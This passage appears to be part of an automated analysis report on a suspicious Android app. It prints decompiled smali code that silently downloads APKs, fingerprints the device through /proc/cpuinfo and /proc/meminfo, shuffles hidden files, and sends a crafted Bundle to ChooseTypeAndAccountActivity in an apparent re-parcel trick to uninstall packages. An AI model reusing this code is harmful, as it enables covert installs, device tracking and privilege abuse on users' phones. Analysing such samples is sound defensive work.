                                                                              62invoke-virtual {v9, v11}, Landroid/app/DownloadManager$Request;->setDescription(Ljava/lang/CharSequence;)Landroid/app/DownloadManager$Request;
                                                                              63const/4 v11, 0x1
                                                                              65invoke-virtual {v9, v11}, Landroid/app/DownloadManager$Request;->setNotificationVisibility(I)Landroid/app/DownloadManager$Request;
                                                                              67const-string v11, "application/vnd.android.package-archive"
                                                                              69invoke-virtual {v9, v11}, Landroid/app/DownloadManager$Request;->setMimeType(Ljava/lang/String;)Landroid/app/DownloadManager$Request;
                                                                              71invoke-virtual {v9}, Landroid/app/DownloadManager$Request;->allowScanningByMediaScanner()V
                                                                              72const/4 v11, 0x1
                                                                              74invoke-virtual {v9, v11}, Landroid/app/DownloadManager$Request;->setVisibleInDownloadsUi(Z)Landroid/app/DownloadManager$Request;
                                                                              76invoke-virtual {v2, v9}, Landroid/app/DownloadManager;->enqueue(Landroid/app/DownloadManager$Request;)J
                                                                              77move-result-wide v7
                                                                              78new-instance v5, Landroid/content/IntentFilter;
                                                                              80const-string v11, "android.intent.action.DOWNLOAD_COMPLETE"
                                                                              82invoke-direct {v5, v11}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
                                                                              83new-instance v6, Lcom/android/leech/main/ad/mini/util/ApkPreDownHelper$1;
                                                                              84move-object/from16 v0, p4
                                                                              85move-object/from16 v1, p5
                                                                              87invoke-direct {v6, v7, v8, v0, v1}, Lcom/android/leech/main/ad/mini/util/ApkPreDownHelper$1;-><init>(JLjava/lang/String;Lcom/android/leech/main/ad/mini/util/ApkPreDownHelper$DownLoadListener;)V
                                                                              89invoke-virtual {p0, v6, v5}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                                                                              90goto_74: return-void
                                                                              91catch_75: move-exception v4
                                                                              93const-string v11, "ad_others"
                                                                              95const-string v12, "ApkPreDownHelper|getSystemDownloadFile"
                                                                              97invoke-virtual {v4}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                                                              98move-result-object v13
                                                                              100invoke-static {v11, v12, v13}, Lcom/gd/AnalyticsManager;->sendCustomEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              101goto/16 :goto_74
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.FileReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.String.split
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              • java.io.BufferedReader.readLine
                                                                              Strings
                                                                              • /proc/cpuinfo
                                                                              • :\\s+
                                                                              • processor
                                                                              • Features
                                                                              • implementer
                                                                              • architecture
                                                                              • variant
                                                                              • part
                                                                              • revision
                                                                              • Hardware
                                                                              • Revision
                                                                              • Serial
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x0
                                                                              1const/4 v5, 0x1
                                                                              2try_start_2: new-instance v0, LuAgent/commonsdk/internal/utils/d$a;
                                                                              4invoke-direct {v0}, LuAgent/commonsdk/internal/utils/d$a;-><init>()V
                                                                              5try_start_7: new-instance v6, Ljava/io/BufferedReader;
                                                                              6new-instance v1, Ljava/io/FileReader;
                                                                              8const-string v3, "/proc/cpuinfo"
                                                                              10invoke-direct {v1, v3}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                                                                              12invoke-direct {v6, v1}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              14invoke-virtual {v6}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              15try_end_16: move-result-object v1
                                                                              16move-object v4, v1
                                                                              17move v3, v5
                                                                              18move v1, v2
                                                                              19goto_1a: if-nez v4, :cond_20
                                                                              21const-string v7, ""
                                                                              22if-eq v4, v7, :cond_121
                                                                              23cond_20:
                                                                              24const-string v7, ":\\s+"
                                                                              25const/4 v8, 0x2
                                                                              27invoke-virtual {v4, v7, v8}, Ljava/lang/String;->split(Ljava/lang/String;I)[Ljava/lang/String;
                                                                              28move-result-object v4
                                                                              29if-eqz v3, :cond_34
                                                                              30if-eqz v4, :cond_34
                                                                              31array-length v7, v4
                                                                              32if-le v7, v5, :cond_34
                                                                              33const/4 v3, 0x1
                                                                              34aget-object v3, v4, v3
                                                                              35iput-object v3, v0, LuAgent/commonsdk/internal/utils/d$a;->a:Ljava/lang/String;
                                                                              36move v3, v2
                                                                              37cond_34: if-eqz v4, :cond_46
                                                                              38array-length v7, v4
                                                                              39if-le v7, v5, :cond_46
                                                                              40const/4 v7, 0x0
                                                                              41aget-object v7, v4, v7
                                                                              43const-string v8, "processor"
                                                                              45invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              46move-result v7
                                                                              47if-eqz v7, :cond_46
                                                                              48add-int/lit8 v1, v1, 0x1
                                                                              49cond_46: if-eqz v4, :cond_5b
                                                                              50array-length v7, v4
                                                                              51if-le v7, v5, :cond_5b
                                                                              52const/4 v7, 0x0
                                                                              53aget-object v7, v4, v7
                                                                              55const-string v8, "Features"
                                                                              57invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              58move-result v7
                                                                              59if-eqz v7, :cond_5b
                                                                              60const/4 v7, 0x1
                                                                              61aget-object v7, v4, v7
                                                                              62iput-object v7, v0, LuAgent/commonsdk/internal/utils/d$a;->d:Ljava/lang/String;
                                                                              63cond_5b: if-eqz v4, :cond_70
                                                                              64array-length v7, v4
                                                                              65if-le v7, v5, :cond_70
                                                                              66const/4 v7, 0x0
                                                                              67aget-object v7, v4, v7
                                                                              69const-string v8, "implementer"
                                                                              71invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              72move-result v7
                                                                              73if-eqz v7, :cond_70
                                                                              74const/4 v7, 0x1
                                                                              75aget-object v7, v4, v7
                                                                              76iput-object v7, v0, LuAgent/commonsdk/internal/utils/d$a;->e:Ljava/lang/String;
                                                                              77cond_70: if-eqz v4, :cond_85
                                                                              78array-length v7, v4
                                                                              79if-le v7, v5, :cond_85
                                                                              80const/4 v7, 0x0
                                                                              81aget-object v7, v4, v7
                                                                              83const-string v8, "architecture"
                                                                              85invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              86move-result v7
                                                                              87if-eqz v7, :cond_85
                                                                              88const/4 v7, 0x1
                                                                              89aget-object v7, v4, v7
                                                                              90iput-object v7, v0, LuAgent/commonsdk/internal/utils/d$a;->f:Ljava/lang/String;
                                                                              91cond_85: if-eqz v4, :cond_9a
                                                                              92array-length v7, v4
                                                                              93if-le v7, v5, :cond_9a
                                                                              94const/4 v7, 0x0
                                                                              95aget-object v7, v4, v7
                                                                              97const-string v8, "variant"
                                                                              99invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              100move-result v7
                                                                              101if-eqz v7, :cond_9a
                                                                              102const/4 v7, 0x1
                                                                              103aget-object v7, v4, v7
                                                                              104iput-object v7, v0, LuAgent/commonsdk/internal/utils/d$a;->g:Ljava/lang/String;
                                                                              105cond_9a: if-eqz v4, :cond_af
                                                                              106array-length v7, v4
                                                                              107if-le v7, v5, :cond_af
                                                                              108const/4 v7, 0x0
                                                                              109aget-object v7, v4, v7
                                                                              111const-string v8, "part"
                                                                              113invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              114move-result v7
                                                                              115if-eqz v7, :cond_af
                                                                              116const/4 v7, 0x1
                                                                              117aget-object v7, v4, v7
                                                                              118iput-object v7, v0, LuAgent/commonsdk/internal/utils/d$a;->h:Ljava/lang/String;
                                                                              119cond_af: if-eqz v4, :cond_c4
                                                                              120array-length v7, v4
                                                                              121if-le v7, v5, :cond_c4
                                                                              122const/4 v7, 0x0
                                                                              123aget-object v7, v4, v7
                                                                              125const-string v8, "revision"
                                                                              127invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              128move-result v7
                                                                              129if-eqz v7, :cond_c4
                                                                              130const/4 v7, 0x1
                                                                              131aget-object v7, v4, v7
                                                                              132iput-object v7, v0, LuAgent/commonsdk/internal/utils/d$a;->i:Ljava/lang/String;
                                                                              133cond_c4: if-eqz v4, :cond_d9
                                                                              134array-length v7, v4
                                                                              135if-le v7, v5, :cond_d9
                                                                              136const/4 v7, 0x0
                                                                              137aget-object v7, v4, v7
                                                                              139const-string v8, "Hardware"
                                                                              141invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              142move-result v7
                                                                              143if-eqz v7, :cond_d9
                                                                              144const/4 v7, 0x1
                                                                              145aget-object v7, v4, v7
                                                                              146iput-object v7, v0, LuAgent/commonsdk/internal/utils/d$a;->j:Ljava/lang/String;
                                                                              147cond_d9: if-eqz v4, :cond_ee
                                                                              148array-length v7, v4
                                                                              149if-le v7, v5, :cond_ee
                                                                              150const/4 v7, 0x0
                                                                              151aget-object v7, v4, v7
                                                                              153const-string v8, "Revision"
                                                                              155invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              156move-result v7
                                                                              157if-eqz v7, :cond_ee
                                                                              158const/4 v7, 0x1
                                                                              159aget-object v7, v4, v7
                                                                              160iput-object v7, v0, LuAgent/commonsdk/internal/utils/d$a;->k:Ljava/lang/String;
                                                                              161cond_ee: if-eqz v4, :cond_103
                                                                              162array-length v7, v4
                                                                              163if-le v7, v5, :cond_103
                                                                              164const/4 v7, 0x0
                                                                              165aget-object v7, v4, v7
                                                                              167const-string v8, "Serial"
                                                                              169invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              170move-result v7
                                                                              171if-eqz v7, :cond_103
                                                                              172const/4 v7, 0x1
                                                                              173aget-object v7, v4, v7
                                                                              174iput-object v7, v0, LuAgent/commonsdk/internal/utils/d$a;->l:Ljava/lang/String;
                                                                              175cond_103: if-eqz v4, :cond_118
                                                                              176array-length v7, v4
                                                                              177if-le v7, v5, :cond_118
                                                                              178const/4 v7, 0x0
                                                                              179aget-object v7, v4, v7
                                                                              181const-string v8, "implementer"
                                                                              183invoke-virtual {v7, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              184move-result v7
                                                                              185if-eqz v7, :cond_118
                                                                              186const/4 v7, 0x1
                                                                              187aget-object v4, v4, v7
                                                                              188iput-object v4, v0, LuAgent/commonsdk/internal/utils/d$a;->e:Ljava/lang/String;
                                                                              189cond_118:
                                                                              190invoke-virtual {v6}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              191try_end_11b: move-result-object v4
                                                                              192goto/16 :goto_1a
                                                                              193catch_11e: move-exception v0
                                                                              194const/4 v0, 0x0
                                                                              195move v1, v2
                                                                              196goto_121: iput v1, v0, LuAgent/commonsdk/internal/utils/d$a;->c:I
                                                                              197return-object v0
                                                                              198catch_124: move-exception v1
                                                                              199move v1, v2
                                                                              200goto/16 :goto_121
                                                                              201catch_127: move-exception v2
                                                                              202goto/16 :goto_121
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.FileReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.FileReader.close
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.lang.String.split
                                                                              • java.lang.String.toLowerCase
                                                                              • java.lang.String.replace
                                                                              • java.lang.String.trim
                                                                              • java.lang.Long.parseLong
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.FileReader.close
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.FileReader.close
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.FileReader.close
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.IOException.printStackTrace
                                                                              Strings
                                                                              • /proc/meminfo
                                                                              • :\\s+
                                                                              • kb
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              2const-string v3, "/proc/meminfo"
                                                                              3const/4 v4, 0x0
                                                                              4const/4 v8, 0x0
                                                                              5try_start_4: new-instance v5, Ljava/io/FileReader;
                                                                              7invoke-direct {v5, v3}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                                                                              8try_start_9: new-instance v9, Ljava/io/BufferedReader;
                                                                              9const/16 v21, 0x800
                                                                              10move/from16 v0, v21
                                                                              12invoke-direct {v9, v5, v0}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;I)V
                                                                              13try_start_12:
                                                                              14invoke-virtual {v9}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              15try_end_15: move-result-object v13
                                                                              16if-nez v13, :cond_31
                                                                              17const-wide/16 v14, -0x1
                                                                              18if-eqz v9, :cond_1f
                                                                              19try_start_1c:
                                                                              20invoke-virtual {v9}, Ljava/io/BufferedReader;->close()V
                                                                              21cond_1f: if-eqz v5, :cond_24
                                                                              22try_start_21:
                                                                              23invoke-virtual {v5}, Ljava/io/FileReader;->close()V
                                                                              24cond_24: move-object v8, v9
                                                                              25move-object v4, v5
                                                                              26cond_26: return-wide v14
                                                                              27catch_27: move-exception v11
                                                                              29invoke-virtual {v11}, Ljava/io/IOException;->printStackTrace()V
                                                                              30goto/16 :goto_1f
                                                                              31catch_2c: move-exception v10
                                                                              33invoke-virtual {v10}, Ljava/io/IOException;->printStackTrace()V
                                                                              34goto/16 :goto_24
                                                                              35cond_31:
                                                                              36const-string v21, ":\\s+"
                                                                              37const/16 v22, 0x2
                                                                              38move-object/from16 v0, v21
                                                                              39move/from16 v1, v22
                                                                              41invoke-virtual {v13, v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;I)[Ljava/lang/String;
                                                                              42move-result-object v17
                                                                              43const/16 v21, 0x1
                                                                              44aget-object v21, v17, v21
                                                                              46invoke-virtual/range {v21 .. v21}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                                                                              47move-result-object v18
                                                                              49const-string v21, "kb"
                                                                              51const-string v22, ""
                                                                              52move-object/from16 v0, v18
                                                                              53move-object/from16 v1, v21
                                                                              54move-object/from16 v2, v22
                                                                              56invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                                                                              57move-result-object v21
                                                                              59invoke-virtual/range {v21 .. v21}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              60move-result-object v16
                                                                              62invoke-static/range {v16 .. v16}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                                                                              63try_end_5a: move-result-wide v21
                                                                              64const-wide/16 v23, 0x400
                                                                              65mul-long v19, v21, v23
                                                                              66move-wide/from16 v6, v19
                                                                              67if-eqz v9, :cond_66
                                                                              68try_start_63:
                                                                              69invoke-virtual {v9}, Ljava/io/BufferedReader;->close()V
                                                                              70cond_66: if-eqz v5, :cond_6b
                                                                              71try_start_68:
                                                                              72invoke-virtual {v5}, Ljava/io/FileReader;->close()V
                                                                              73goto_6b: move-object v8, v9
                                                                              74move-object v4, v5
                                                                              75move-wide v14, v6
                                                                              76goto/16 :goto_26
                                                                              77catch_6f: move-exception v11
                                                                              79invoke-virtual {v11}, Ljava/io/IOException;->printStackTrace()V
                                                                              80goto/16 :goto_66
                                                                              81catch_74: move-exception v10
                                                                              83invoke-virtual {v10}, Ljava/io/IOException;->printStackTrace()V
                                                                              84goto/16 :goto_6b
                                                                              85catch_79: move-exception v12
                                                                              86goto_7a: const-wide/16 v14, -0x2
                                                                              87if-eqz v8, :cond_81
                                                                              88try_start_7e:
                                                                              89invoke-virtual {v8}, Ljava/io/BufferedReader;->close()V
                                                                              90goto_81: if-eqz v4, :cond_26
                                                                              91try_start_83:
                                                                              92invoke-virtual {v4}, Ljava/io/FileReader;->close()V
                                                                              93try_end_86: goto/16 :goto_26
                                                                              94catch_87: move-exception v10
                                                                              96invoke-virtual {v10}, Ljava/io/IOException;->printStackTrace()V
                                                                              97goto/16 :goto_26
                                                                              98catch_8c: move-exception v11
                                                                              100invoke-virtual {v11}, Ljava/io/IOException;->printStackTrace()V
                                                                              101goto/16 :goto_81
                                                                              102catchall_91: move-exception v21
                                                                              103goto_92: if-eqz v8, :cond_97
                                                                              104try_start_94:
                                                                              105invoke-virtual {v8}, Ljava/io/BufferedReader;->close()V
                                                                              106cond_97: if-eqz v4, :cond_9c
                                                                              107try_start_99:
                                                                              108invoke-virtual {v4}, Ljava/io/FileReader;->close()V
                                                                              109cond_9c: throw v21
                                                                              110catch_9d: move-exception v11
                                                                              112invoke-virtual {v11}, Ljava/io/IOException;->printStackTrace()V
                                                                              113goto/16 :goto_97
                                                                              114catch_a2: move-exception v10
                                                                              116invoke-virtual {v10}, Ljava/io/IOException;->printStackTrace()V
                                                                              117goto/16 :goto_9c
                                                                              118catchall_a7: move-exception v21
                                                                              119move-object v4, v5
                                                                              120goto/16 :goto_92
                                                                              121catchall_aa: move-exception v21
                                                                              122move-object v8, v9
                                                                              123move-object v4, v5
                                                                              124goto/16 :goto_92
                                                                              125catch_ae: move-exception v12
                                                                              126move-object v4, v5
                                                                              127goto/16 :goto_7a
                                                                              128catch_b1: move-exception v12
                                                                              129move-object v8, v9
                                                                              130move-object v4, v5
                                                                              131goto/16 :goto_7a
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.addFlags
                                                                              • android.content.Intent.addFlags
                                                                              • android.content.Intent.addFlags
                                                                              • android.os.Bundle.<init>
                                                                              • android.os.Bundle.putString
                                                                              • android.os.Bundle.putString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • android.content.Context.getPackageName
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.content.Intent.setClassName
                                                                              • android.content.Intent.putExtra
                                                                              • android.content.Intent.putExtra
                                                                              • android.content.Context.startActivity
                                                                              Strings
                                                                              • uninstall_pkg
                                                                              • bundle_type
                                                                              • type_uninstall
                                                                              • com.android.google.coreappx.account100
                                                                              • CORE_ACCOUNT
                                                                              • .account100
                                                                              • android
                                                                              • android.accounts.ChooseTypeAndAccountActivity
                                                                              • allowableAccountTypes
                                                                              • addAccountOptions
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "apkPkg" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3const-class v5, Lcom/android/leech/main/installer/impl/ReParcelUnMain;
                                                                              4monitor-enter v5
                                                                              5try_start_3: new-instance v3, Landroid/content/Intent;
                                                                              7invoke-direct {v3}, Landroid/content/Intent;-><init>()V
                                                                              8const/high16 v4, 0x10000000
                                                                              10invoke-virtual {v3, v4}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              11const/high16 v4, 0x40000000 # 2.0f
                                                                              13invoke-virtual {v3, v4}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              14const/high16 v4, 0x40000
                                                                              16invoke-virtual {v3, v4}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              17new-instance v2, Landroid/os/Bundle;
                                                                              19invoke-direct {v2}, Landroid/os/Bundle;-><init>()V
                                                                              21const-string v4, "uninstall_pkg"
                                                                              23invoke-virtual {v2, v4, p1}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                                                              25const-string v4, "bundle_type"
                                                                              27const-string v6, "type_uninstall"
                                                                              29invoke-virtual {v2, v4, v6}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                                                              31const-string v1, "com.android.google.coreappx.account100"
                                                                              33const-string v4, "CORE_ACCOUNT"
                                                                              35invoke-static {p0, v4}, Lcom/android/leech/base/util/ApkInfos;->getAppMetaData(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              36move-result-object v0
                                                                              38invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              39move-result v4
                                                                              40if-nez v4, :cond_4d
                                                                              41new-instance v4, Ljava/lang/StringBuilder;
                                                                              43invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              45invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              46move-result-object v6
                                                                              48invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              49move-result-object v4
                                                                              51const-string v6, ".account100"
                                                                              53invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              54move-result-object v4
                                                                              56invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              57move-result-object v1
                                                                              58cond_4d:
                                                                              59const-string v4, "android"
                                                                              61const-string v6, "android.accounts.ChooseTypeAndAccountActivity"
                                                                              63invoke-virtual {v3, v4, v6}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                                                              64move-result-object v4
                                                                              66const-string v6, "allowableAccountTypes"
                                                                              67const/4 v7, 0x1
                                                                              68new-array v7, v7, [Ljava/lang/String;
                                                                              69const/4 v8, 0x0
                                                                              70aput-object v1, v7, v8
                                                                              72invoke-virtual {v4, v6, v7}, Landroid/content/Intent;->putExtra(Ljava/lang/String;[Ljava/lang/String;)Landroid/content/Intent;
                                                                              73move-result-object v4
                                                                              75const-string v6, "addAccountOptions"
                                                                              77invoke-virtual {v4, v6, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Bundle;)Landroid/content/Intent;
                                                                              78move-result-object v4
                                                                              80invoke-virtual {p0, v4}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                                              81try_end_6a: monitor-exit v5
                                                                              82return-void
                                                                              83catchall_6c: move-exception v4
                                                                              84monitor-exit v5
                                                                              85throw v4
                                                                              Cross References
                                                                              APIs
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.String.equals
                                                                              • java.lang.StringBuilder.<init>
                                                                              • android.content.Context.getFilesDir
                                                                              • java.io.File.getAbsolutePath
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.File.<init>
                                                                              • java.io.File.exists
                                                                              • java.io.File.listFiles
                                                                              • java.io.File.isDirectory
                                                                              • java.io.File.delete
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.io.File.getName
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.File.<init>
                                                                              • java.io.File.renameTo
                                                                              • java.io.File.isDirectory
                                                                              • java.io.File.delete
                                                                              Strings
                                                                              • /.
                                                                              • /
                                                                              Position Instruction Meta Information
                                                                              0if-nez p0, :cond_3
                                                                              1cond_2: return-void
                                                                              2try_start_3:
                                                                              3invoke-static {p0}, LuAgent/commonsdk/framework/b;->g(Landroid/content/Context;)Ljava/lang/String;
                                                                              4move-result-object v0
                                                                              6invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              7move-result v1
                                                                              8if-nez v1, :cond_2
                                                                              10sget-object v1, LuAgent/commonsdk/framework/b;->c:Ljava/lang/String;
                                                                              12invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              13move-result v1
                                                                              14if-nez v1, :cond_2
                                                                              15new-instance v1, Ljava/io/File;
                                                                              16new-instance v2, Ljava/lang/StringBuilder;
                                                                              18invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              20invoke-virtual {p0}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
                                                                              21move-result-object v3
                                                                              23invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                                                                              24move-result-object v3
                                                                              26invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              27move-result-object v2
                                                                              29const-string v3, "/."
                                                                              31invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              32move-result-object v2
                                                                              34invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              35move-result-object v0
                                                                              37invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              38move-result-object v0
                                                                              40invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              42invoke-virtual {v1}, Ljava/io/File;->exists()Z
                                                                              43move-result v0
                                                                              44if-eqz v0, :cond_2
                                                                              46invoke-virtual {v1}, Ljava/io/File;->listFiles()[Ljava/io/File;
                                                                              47move-result-object v2
                                                                              48if-eqz v2, :cond_48
                                                                              49array-length v0, v2
                                                                              50try_end_46: if-nez v0, :cond_5c
                                                                              51cond_48:
                                                                              52invoke-virtual {v1}, Ljava/io/File;->isDirectory()Z
                                                                              53move-result v0
                                                                              54if-eqz v0, :cond_2
                                                                              56invoke-virtual {v1}, Ljava/io/File;->delete()Z
                                                                              57try_end_51: goto/16 :goto_2
                                                                              58catch_52: move-exception v0
                                                                              59try_start_53:
                                                                              60invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              61try_end_56: goto/16 :goto_2
                                                                              62catch_57: move-exception v0
                                                                              64invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              65goto/16 :goto_2
                                                                              66cond_5c:
                                                                              67invoke-static {p0}, LuAgent/commonsdk/framework/b;->h(Landroid/content/Context;)Ljava/lang/String;
                                                                              68move-result-object v3
                                                                              69const/4 v0, 0x0
                                                                              70goto_61: array-length v4, v2
                                                                              71if-ge v0, v4, :cond_8e
                                                                              72aget-object v4, v2, v0
                                                                              73new-instance v5, Ljava/io/File;
                                                                              74new-instance v6, Ljava/lang/StringBuilder;
                                                                              76invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                                              78invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              79move-result-object v6
                                                                              81const-string v7, "/"
                                                                              83invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              84move-result-object v6
                                                                              85aget-object v7, v2, v0
                                                                              87invoke-virtual {v7}, Ljava/io/File;->getName()Ljava/lang/String;
                                                                              88move-result-object v7
                                                                              90invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              91move-result-object v6
                                                                              93invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              94move-result-object v6
                                                                              96invoke-direct {v5, v6}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              98invoke-virtual {v4, v5}, Ljava/io/File;->renameTo(Ljava/io/File;)Z
                                                                              99add-int/lit8 v0, v0, 0x1
                                                                              100goto/16 :goto_61
                                                                              101cond_8e:
                                                                              102invoke-virtual {v1}, Ljava/io/File;->isDirectory()Z
                                                                              103move-result v0
                                                                              104if-eqz v0, :cond_2
                                                                              106invoke-virtual {v1}, Ljava/io/File;->delete()Z
                                                                              107try_end_97: goto/16 :goto_2
                                                                              108catch_99: move-exception v0
                                                                              109try_start_9a:
                                                                              110invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              111try_end_9d: goto/16 :goto_2
                                                                              Cross References
                                                                              APIs
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.accounts.AccountManager.get
                                                                              • android.accounts.AccountManager.getAccountsByType
                                                                              • android.net.Uri.parse
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.setPackage
                                                                              • android.content.Intent.addFlags
                                                                              • android.content.Context.startActivity
                                                                              • android.net.Uri.parse
                                                                              • android.content.Intent.<init>
                                                                              • android.content.ComponentName.<init>
                                                                              • android.content.Intent.setComponent
                                                                              • android.content.Intent.setData
                                                                              • android.content.Intent.setFlags
                                                                              • android.content.Context.startActivity
                                                                              • android.content.Intent.<init>
                                                                              • android.content.ComponentName.<init>
                                                                              • android.content.Intent.setComponent
                                                                              • android.content.Intent.setData
                                                                              • android.content.Intent.setFlags
                                                                              • android.content.Context.startActivity
                                                                              Strings
                                                                              • com.google
                                                                              • android.intent.action.VIEW
                                                                              • com.android.vending
                                                                              • com.google.android.finsky.activities.LaunchUrlHandlerActivity
                                                                              • com.google.android.finsky.activities.MarketDeepLinkHandlerActivity
                                                                              Position Instruction Meta Information
